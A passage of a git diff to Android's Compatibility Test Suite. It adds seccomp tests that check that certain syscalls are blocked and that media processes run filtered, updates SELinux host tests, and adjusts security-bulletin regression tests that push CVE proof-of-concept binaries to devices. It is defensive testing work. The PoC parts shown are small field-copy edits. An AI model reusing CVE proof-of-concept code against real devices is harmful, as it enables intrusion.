+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsSeccompDeviceApp.apk" />
+ </target_preparer>
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsSeccompHostTestCases.jar" />
+ </test>
+</configuration>
diff --git a/hostsidetests/seccomp/app/Android.mk b/hostsidetests/seccomp/app/Android.mk
new file mode 100644
index 0000000..726e64b
--- /dev/null
+++ b/hostsidetests/seccomp/app/Android.mk
@@ -0,0 +1,56 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+
+LOCAL_JNI_SHARED_LIBRARIES := \
+ libctsseccomp_jni \
+ libcts_jni \
+ libnativehelper_compat_libc++ \
+ libnativehelper \
+ libcutils \
+ libc++ \
+ libpackagelistparser \
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsSeccompDeviceApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/app/AndroidManifest.xml b/hostsidetests/seccomp/app/AndroidManifest.xml
new file mode 100644
index 0000000..b8e97e3
--- /dev/null
+++ b/hostsidetests/seccomp/app/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.seccomp.cts.app">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.seccomp.cts.app" />
+
+</manifest>
diff --git a/hostsidetests/seccomp/app/jni/Android.mk b/hostsidetests/seccomp/app/jni/Android.mk
new file mode 100644
index 0000000..a0604a1
--- /dev/null
+++ b/hostsidetests/seccomp/app/jni/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctsseccomp_jni
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := \
+ CtsSeccompJniOnLoad.cpp \
+ android_seccomp_cts_app_SeccompDeviceTest.cpp \
+
+LOCAL_SHARED_LIBRARIES := \
+ libnativehelper \
+ liblog \
+ libcutils \
+ libc++ \
+ libpackagelistparser \
+
+
+LOCAL_C_INCLUDES += ndk/sources/cpufeatures
+LOCAL_STATIC_LIBRARIES := cpufeatures
+
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/seccomp/app/jni/CtsSeccompJniOnLoad.cpp b/hostsidetests/seccomp/app/jni/CtsSeccompJniOnLoad.cpp
new file mode 100644
index 0000000..928b8c5
--- /dev/null
+++ b/hostsidetests/seccomp/app/jni/CtsSeccompJniOnLoad.cpp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+
+extern int register_android_seccomp_cts_app_SeccompTest(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM *vm, void * /*reserved*/) {
+ JNIEnv *env = NULL;
+
+ if (vm->GetEnv((void **) &env, JNI_VERSION_1_4) != JNI_OK) {
+ return JNI_ERR;
+ }
+
+ if (register_android_seccomp_cts_app_SeccompTest(env)) {
+ return JNI_ERR;
+ }
+
+ return JNI_VERSION_1_4;
+}
diff --git a/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
new file mode 100644
index 0000000..de82b44
--- /dev/null
+++ b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+#define LOG_TAG "SeccompTest"
+
+#include <cutils/log.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+/*
+ * Function: testSyscallBlocked
+ * Purpose: test that the syscall listed is blocked by seccomp
+ * Parameters:
+ * nr: syscall number
+ * Returns:
+ * 1 if blocked, else 0
+ * Exceptions: None
+ */
+static jboolean testSyscallBlocked(JNIEnv *, jobject, int nr) {
+ int pid = fork();
+ if (pid == 0) {
+ ALOGI("Calling syscall %d", nr);
+ syscall(nr);
+ return false;
+ } else {
+ int status;
+ int ret = waitpid(pid, &status, 0);
+ if (ret != pid) {
+ ALOGE("Unexpected return result from waitpid");
+ return false;
+ }
+
+ if (WIFEXITED(status)) {
+ ALOGE("syscall was not blocked");
+ return false;
+ }
+
+ if (WIFSIGNALED(status)) {
+ int signal = WTERMSIG(status);
+ if (signal == 31) {
+ ALOGI("syscall caused process termination");
+ return true;
+ }
+
+ ALOGE("Unexpected signal");
+ return false;
+ }
+
+ ALOGE("Unexpected status from syscall_exists");
+ return false;
+ }
+}
+
+static JNINativeMethod gMethods[] = {
+ { "testSyscallBlocked", "(I)Z",
+ (void*) testSyscallBlocked },
+};
+
+int register_android_seccomp_cts_app_SeccompTest(JNIEnv* env)
+{
+ jclass clazz = env->FindClass("android/seccomp/cts/app/SeccompDeviceTest");
+
+ return env->RegisterNatives(clazz, gMethods,
+ sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
new file mode 100644
index 0000000..2a7bcb3
--- /dev/null
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.seccomp.cts.app;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.support.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CpuFeatures;
+
+/**
+ * Device-side tests for CtsSeccompHostTestCases
+ */
+@RunWith(AndroidJUnit4.class)
+public class SeccompDeviceTest {
+ static {
+ System.loadLibrary("ctsseccomp_jni");
+ }
+
+ @Test
+ public void testCTSSyscallBlocked() {
+ if (CpuFeatures.isArm64Cpu()) {
+ testBlocked(217); // __NR_add_key
+ testBlocked(219); // __NR_keyctl
+ testAllowed(56); // __NR_openat
+
+ // b/35034743 - do not remove test without reading bug
+ testAllowed(267); // __NR_fstatfs64
+ } else if (CpuFeatures.isArmCpu()) {
+ testBlocked(309); // __NR_add_key
+ testBlocked(311); // __NR_keyctl
+ testAllowed(322); // __NR_openat
+
+ // b/35906875 - do not remove test without reading bug
+ testAllowed(316); // __NR_inotify_init
+ } else if (CpuFeatures.isX86_64Cpu()) {
+ testBlocked(248); // __NR_add_key
+ testBlocked(250); // __NR_keyctl
+ testAllowed(257); // __NR_openat
+ } else if (CpuFeatures.isX86Cpu()) {
+ testBlocked(286); // __NR_add_key
+ testBlocked(288); // __NR_keyctl
+ testAllowed(295); // __NR_openat
+ } else if (CpuFeatures.isMips64Cpu()) {
+ testBlocked(5239); // __NR_add_key
+ testBlocked(5241); // __NR_keyctl
+ testAllowed(5247); // __NR_openat
+ } else if (CpuFeatures.isMipsCpu()) {
+ testBlocked(4280); // __NR_add_key
+ testBlocked(4282); // __NR_keyctl
+ testAllowed(4288); // __NR_openat
+ } else {
+ Assert.fail("Unsupported OS");
+ }
+ }
+
+ @Test
+ public void testCTSSwapOnOffBlocked() {
+ if (CpuFeatures.isArm64Cpu()) {
+ testBlocked(224); // __NR_swapon
+ testBlocked(225); // __NR_swapoff
+ } else if (CpuFeatures.isArmCpu()) {
+ testBlocked(87); // __NR_swapon
+ testBlocked(115); // __NR_swapoff
+ } else if (CpuFeatures.isX86_64Cpu()) {
+ testBlocked(167); // __NR_swapon
+ testBlocked(168); // __NR_swapoff
+ } else if (CpuFeatures.isX86Cpu()) {
+ testBlocked(87); // __NR_swapon
+ testBlocked(115); // __NR_swapoff
+ } else if (CpuFeatures.isMips64Cpu()) {
+ testBlocked(5162); // __NR_swapon
+ testBlocked(5163); // __NR_swapoff
+ } else if (CpuFeatures.isMipsCpu()) {
+ testBlocked(4087); // __NR_swapon
+ testBlocked(4115); // __NR_swapoff
+ } else {
+ Assert.fail("Unsupported OS");
+ }
+ }
+
+ private void testBlocked(int nr) {
+ Assert.assertTrue("Syscall " + nr + " not blocked", testSyscallBlocked(nr));
+ }
+
+ private void testAllowed(int nr) {
+ Assert.assertFalse("Syscall " + nr + " blocked", testSyscallBlocked(nr));
+ }
+
+ private static final native boolean testSyscallBlocked(int nr);
+}
diff --git a/hostsidetests/seccomp/src/android/seccomp/cts/SeccompHostJUnit4DeviceTest.java b/hostsidetests/seccomp/src/android/seccomp/cts/SeccompHostJUnit4DeviceTest.java
new file mode 100644
index 0000000..1ee8fff
--- /dev/null
+++ b/hostsidetests/seccomp/src/android/seccomp/cts/SeccompHostJUnit4DeviceTest.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.seccomp.cts;
+
+import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that collects test results from test package android.seccomp.cts.app.
+ *
+ * When this test builds, it also builds a support APK containing
+ * {@link android.seccomp.cts.app.SeccompDeviceTest}, the results of which are
+ * collected from the hostside and reported accordingly.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SeccompHostJUnit4DeviceTest extends CompatibilityHostTestBase {
+
+ private static final String TEST_PKG = "android.seccomp.cts.app";
+ private static final String TEST_CLASS = TEST_PKG + "." + "SeccompDeviceTest";
+ private static final String TEST_APP = "CtsSeccompDeviceApp.apk";
+
+ private static final String TEST_CTS_SYSCALL_BLOCKED = "testCTSSyscallBlocked";
+ private static final String TEST_CTS_SWAP_ON_OFF_BLOCKED = "testCTSSwapOnOffBlocked";
+
+ @Before
+ public void setUp() throws Exception {
+ installPackage(TEST_APP);
+ }
+
+ @Test
+ public void testCTSSyscallBlocked() throws Exception {
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_CTS_SYSCALL_BLOCKED));
+ }
+
+ @Test
+ public void testCTSSwapOnOffBlocked() throws Exception {
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_CTS_SWAP_ON_OFF_BLOCKED));
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ uninstallPackage(TEST_PKG);
+ }
+
+}
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index b51c45e..0b72318 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := optional
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Must match the package name in CtsTestCaseList.mk
LOCAL_MODULE := CtsSecurityHostTestCases
diff --git a/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
new file mode 100644
index 0000000..af0bd05
--- /dev/null
+++ b/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.CpuFeatures;
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+public class ProcessMustUseSeccompTest extends DeviceTestCase {
+ /**
+ * a reference to the device under test.
+ */
+ private ITestDevice mDevice;
+
+ private static final String PS_CMD = "toybox ps -A -o name,pid";
+ private static final String LSHAL_CMD = "lshal list -ip";
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mDevice = getDevice();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ mDevice = null;
+ super.tearDown();
+ }
+
+ private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
+ return PropertyUtil.getFirstApiLevel(mDevice) > 25;
+ }
+
+ /*
+ * Get the PID of process "Name" using "Cmd". If prefix == True only do
+ * prefix matching. This is used for HALs which are versioned
+ * e.g. android.hardware.configstore@1.1-service. If prefix == False then
+ * name must be an exact match.
+ */
+ private String getPidFromCmd(String Name, String Cmd, boolean prefix) throws DeviceNotAvailableException {
+ String ret = "";
+ CollectingOutputReceiver Out = new CollectingOutputReceiver();
+ mDevice.executeShellCommand(Cmd, Out);
+ String[] lines = Out.getOutput().split(System.getProperty("line.separator"));
+
+ for (String line: lines) {
+ String[] namePid = line.trim().split("\\s+");
+ if (!prefix && !namePid[0].equals(Name)) {
+ continue;
+ }
+ if (prefix && !namePid[0].startsWith(Name)) {
+ continue;
+ }
+ ret = namePid[1];
+ break;
+ }
+
+ if (!java.util.regex.Pattern.matches("\\d+", ret)) {
+ ret = "";
+ }
+
+ return ret;
+ }
+
+ /*
+ * Return true if the "Seccomp" field of /proc/<pid>/status is "2" which
+ * indicates that seccomp is running in filter mode
+ */
+ private boolean pidHasSeccompBpf(String Pid) throws DeviceNotAvailableException {
+ CollectingOutputReceiver Out = new CollectingOutputReceiver();
+ mDevice.executeShellCommand("toybox cat /proc/" + Pid + "/status", Out);
+ String[] lines = Out.getOutput().split(System.getProperty("line.separator"));
+ for (String line: lines) {
+ String[] split = line.trim().split("\\s+");
+ if (!split[0].equals("Seccomp:")) {
+ continue;
+ }
+ if (split[1].equals("2")) {
+ return true;
+ }
+ break;
+ }
+ return false;
+ }
+
+ private void assertSeccompFilter(String Name, String Cmd, boolean prefix)
+ throws DeviceNotAvailableException {
+ String Pid = getPidFromCmd(Name, Cmd, prefix);
+ assertFalse(Name + " process not found.", Pid.equals(""));
+ assertTrue(Name + " must have a seccomp filter enabled.\n"
+ + "The \"Seccomp\" field of " + Name + "'s "
+ + "/proc/" + Pid + "/status file should be set to \"2\"",
+ pidHasSeccompBpf(Pid));
+ }
+
+ public void testConfigStoreHalHasSeccompFilter() throws DeviceNotAvailableException {
+ if (CpuFeatures.isArm64(mDevice)) {
+ assertSeccompFilter("android.hardware.configstore", PS_CMD, true);
+ }
+ }
+
+ @CddTest(requirement="9.7/C-0-6")
+ public void testMediaextractorHasSeccompFilter() throws DeviceNotAvailableException {
+ assertSeccompFilter("media.extractor", PS_CMD, false);
+ }
+
+ @CddTest(requirement="9.7/C-0-6")
+ public void testOmxHalHasSeccompFilter() throws DeviceNotAvailableException {
+ assertSeccompFilter("media.codec", PS_CMD, false);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index cff9ef9..3170ece 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -46,6 +46,7 @@
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
+import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.Scanner;
@@ -58,8 +59,11 @@
* run as the shell user to evaluate aspects of the state of SELinux on the test
* device which otherwise would not be available to a normal apk.
*/
+@CddTest(requirement="9.7/C-1-1")
public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
+ private static final Map<ITestDevice, File> cachedDevicePolicyFiles = new HashMap<>(1);
+
private File sepolicyAnalyze;
private File checkSeapp;
private File checkFc;
@@ -133,10 +137,33 @@
sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
sepolicyAnalyze.setExecutable(true);
- /* obtain sepolicy file from running device */
- devicePolicyFile = File.createTempFile("sepolicy", ".tmp");
- devicePolicyFile.deleteOnExit();
- mDevice.pullFile("/sys/fs/selinux/policy", devicePolicyFile);
+ devicePolicyFile = getDevicePolicyFile(mDevice);
+ }
+
+ // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+ /**
+ * Returns the host-side file containing the SELinux policy of the device under test.
+ */
+ public static File getDevicePolicyFile(ITestDevice device) throws Exception {
+ // IMPLEMENTATION DETAILS: We cache the host-side policy file on per-device basis (in case
+ // CTS supports running against multiple devices at the same time). HashMap is used instead
+ // of WeakHashMap because in the grand scheme of things, keeping ITestDevice and
+ // corresponding File objects from being garbage-collected is not a big deal in CTS. If this
+ // becomes a big deal, this can be switched to WeakHashMap.
+ File file;
+ synchronized (cachedDevicePolicyFiles) {
+ file = cachedDevicePolicyFiles.get(device);
+ }
+ if (file != null) {
+ return file;
+ }
+ file = File.createTempFile("sepolicy", ".tmp");
+ file.deleteOnExit();
+ device.pullFile("/sys/fs/selinux/policy", file);
+ synchronized (cachedDevicePolicyFiles) {
+ cachedDevicePolicyFiles.put(device, file);
+ }
+ return file;
}
/**
@@ -144,7 +171,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-2")
public void testGlobalEnforcing() throws Exception {
CollectingOutputReceiver out = new CollectingOutputReceiver();
mDevice.executeShellCommand("cat /sys/fs/selinux/enforce", out);
@@ -156,7 +183,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-3")
@RestrictedBuildTest
public void testAllDomainsEnforcing() throws Exception {
@@ -241,7 +268,7 @@
*/
public static boolean isFullTrebleDevice(ITestDevice device)
throws DeviceNotAvailableException {
- return PropertyUtil.getFirstApiLevel(device) > 25;
+ return PropertyUtil.getFirstApiLevel(device) > 26;
}
private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
@@ -322,7 +349,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-4")
public void testMLSAttributes() throws Exception {
assertNotInAttribute("mlstrustedsubject", "untrusted_app");
assertNotInAttribute("mlstrustedobject", "app_data_file");
@@ -333,7 +360,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-4")
public void testValidSeappContexts() throws Exception {
/* obtain seapp_contexts file from running device */
@@ -401,7 +428,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-4")
public void testAospSeappContexts() throws Exception {
/* obtain seapp_contexts file from running device */
@@ -422,7 +449,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-4")
public void testAospFileContexts() throws Exception {
/* retrieve the checkfc executable from jar */
@@ -460,7 +487,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-4")
public void testAospPropertyContexts() throws Exception {
/* obtain property_contexts file from running device */
@@ -485,7 +512,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-4")
public void testAospServiceContexts() throws Exception {
/* obtain service_contexts file from running device */
@@ -506,7 +533,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-4")
public void testValidFileContexts() throws Exception {
/* retrieve the checkfc executable from jar */
@@ -551,7 +578,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-4")
public void testValidPropertyContexts() throws Exception {
/* retrieve the checkfc executable from jar */
@@ -587,7 +614,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-4")
public void testValidServiceContexts() throws Exception {
/* retrieve the checkfc executable from jar */
@@ -623,7 +650,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7")
+ @CddTest(requirement="9.7/C-1-4")
public void testNoBooleans() throws Exception {
/* run sepolicy-analyze booleans check on policy file */
diff --git a/hostsidetests/securitybulletin/Android.mk b/hostsidetests/securitybulletin/Android.mk
index 2c76b4e..a07fbbd 100644
--- a/hostsidetests/securitybulletin/Android.mk
+++ b/hostsidetests/securitybulletin/Android.mk
@@ -18,6 +18,8 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_RESOURCE_DIRS := res
+
LOCAL_MODULE_TAGS := optional
# tag this module as a cts test artifact
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 1e515db..7abc3f5 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -37,6 +37,14 @@
<option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
<!--__________________-->
+ <!-- Bulletin 2017-03 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
+ <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
+ <option name="push" value="CVE-2017-0333->/data/local/tmp/CVE-2017-0333" />
+
+ <!--__________________-->
<!-- Bulletin 2019-03 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0859.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0859.mp4
new file mode 100644
index 0000000..1313815
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0859.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
index 7e84631..ebee562 100755
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -55,6 +55,8 @@
outMsg->body.key.deviceId = msg.body.key.deviceId;
// int32_t source
outMsg->body.key.source = msg.body.key.source;
+ // int32_t displayId
+ outMsg->body.key.displayId = msg.body.key.displayId;
// int32_t action
outMsg->body.key.action = msg.body.key.action;
// int32_t flags
@@ -80,6 +82,8 @@
outMsg->body.motion.deviceId = msg.body.motion.deviceId;
// int32_t source
outMsg->body.motion.source = msg.body.motion.source;
+ // int32_t displayId
+ outMsg->body.motion.displayId = msg.body.motion.displayId;
// int32_t action
outMsg->body.motion.action = msg.body.motion.action;
// int32_t actionButton
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
index 14337ab..f716db3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
index 718dbe3..4149b96 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
index 03b7b87..13fc65e 100644
